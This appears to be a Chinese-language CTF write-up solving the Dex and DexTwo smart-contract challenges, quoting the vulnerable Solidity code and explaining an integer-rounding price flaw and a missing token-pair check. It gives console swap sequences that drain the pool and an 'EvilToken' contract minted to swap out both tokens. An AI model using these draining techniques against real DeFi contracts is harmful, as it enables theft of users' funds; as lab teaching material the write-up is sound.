token转换Dex,DexTwo

94 阅读3分钟

Dex

源码:

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "./ERC20.sol";
import "./SafeMath.sol";
import "./ownable.sol";

contract Dex is Ownable {
  using SafeMath for uint;
  address public token1;
  address public token2;
  constructor() public {}

  function setTokens(address _token1, address _token2) public onlyOwner {
    token1 = _token1;
    token2 = _token2;
  }
  
  function addLiquidity(address token_address, uint amount) public onlyOwner {
    IERC20(token_address).transferFrom(msg.sender, address(this), amount);
  }
  
  function swap(address from, address to, uint amount) public {
    require((from == token1 && to == token2) || (from == token2 && to == token1), "Invalid tokens");
    require(IERC20(from).balanceOf(msg.sender) >= amount, "Not enough to swap");
    uint swapAmount = getSwapPrice(from, to, amount);
    IERC20(from).transferFrom(msg.sender, address(this), amount);
    IERC20(to).approve(address(this), swapAmount);
    IERC20(to).transferFrom(address(this), msg.sender, swapAmount);
  }

  function getSwapPrice(address from, address to, uint amount) public view returns(uint){
    return((amount * IERC20(to).balanceOf(address(this)))/IERC20(from).balanceOf(address(this)));
  }

  function approve(address spender, uint amount) public {
    SwappableToken(token1).approve(msg.sender, spender, amount);
    SwappableToken(token2).approve(msg.sender, spender, amount);
  }

  function balanceOf(address token, address account) public view returns (uint){
    return IERC20(token).balanceOf(account);
  }
}

contract SwappableToken is ERC20 {
  address private _dex;
  constructor(address dexInstance, string memory name, string memory symbol, uint256 initialSupply) public ERC20(name, symbol) {
        _mint(msg.sender, initialSupply);
        _dex = dexInstance;
  }

  function approve(address owner, address spender, uint256 amount) public returns(bool){
    require(owner != _dex, "InvalidApprover");
    super._approve(owner, spender, amount);
  }
}

分析:

此合约是代币之间的转换,合约很好理解。重点在于getSwapPrice,两个token之间的汇率转换。
该漏洞源于确定 Dex 中令牌之间交换率的方法。其中的除法并不总是计算成一个完美的整数,而是一个分数。而且固体中没有分数类型。相反,除法会根据文档向零舍入
初始合约有token1、token2各100,player有token1、token2各10个。

以下是价格历史&余额的走势。最初:

image.png

然后:

image.png

请注意,此时汇率已调整。现在,交换20应该给.但是由于除法结果是整数,我们得到24 。价格再次调整。再次交换。token2``20 * 110 / 90 = 24.44.

image.png
在每次交换时,我们得到的比上一次交换之前持有的更多或更多。这是由于价格计算方法不准确。

image.png

在上面的最后一次交换中,我们已经掌握了 65 ,这足以耗尽所有110!通过简单的计算,只需要 45 个就可以得到 所有 110 个 。
image.png

跳转到控制台。首先批准合同,以足够大的津贴转移您的代币,这样我们就不必再次批准。500的津贴应该绰绰有余:

await contract.approve(contract.address, 500)

获取token地址:

t1 = await contract.token1()
t2 = await contract.token2()

现在逐个执行对应于上面的表格行的7个交换:

await contract.swap(t1, t2, 10)
await contract.swap(t2, t1, 20)
await contract.swap(t1, t2, 24)
await contract.swap(t2, t1, 30)
await contract.swap(t1, t2, 41)
await contract.swap(t2, t1, 45)

token1被抽干了!验证方式:

await contract.balanceOf(t1, instance).then(v => v.toString())

DexTwo

dextwo唯一不一样的就是swap方法

 function swap(address from, address to, uint amount) public {
    require(IERC20(from).balanceOf(msg.sender) >= amount, "Not enough to swap");
    uint swapAmount = getSwapAmount(from, to, amount);
    IERC20(from).transferFrom(msg.sender, address(this), amount);
    IERC20(to).approve(address(this), swapAmount);
    IERC20(to).transferFrom(address(this), msg.sender, swapAmount);
  } 

这次的要求是拿出合约里所有的token1和token2

漏洞是由不检查交换是否必然介于 token1和token2 之间的方法引起的。
可以自己构造一个新的 IERC20 的 token 参与进来,大量铸币approve后随便换就行。

构造一个EVL代币

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "@openzeppelin/contracts/token/ERC20/ERC20.sol";

contract EvilToken is ERC20 {
  constructor(uint256 initialSupply) ERC20("EvilToken", "EVL") {
      _mint(msg.sender, initialSupply);
  }
}

我们可以设置我们拥有EVL初始为300、合约初始为100.

image.png

一比一对换token1

image.png

最后:

image.png
Get token addresses:

evlToken = '<EVL-token-address>'
t1 = await contract.token1()
t2 = await contract.token2()

转100去token1

await contract.swap(evlToken, t1, 100)

查看合约token1的余额

await contract.balanceOf(t1, instance).then(v => v.toString())

汇率变了,要转移200才能将token2变成0

await contract.swap(evlToken, t2, 200)

查看token2的余额

await contract.balanceOf(t2, instance).then(v => v.toString())

成功!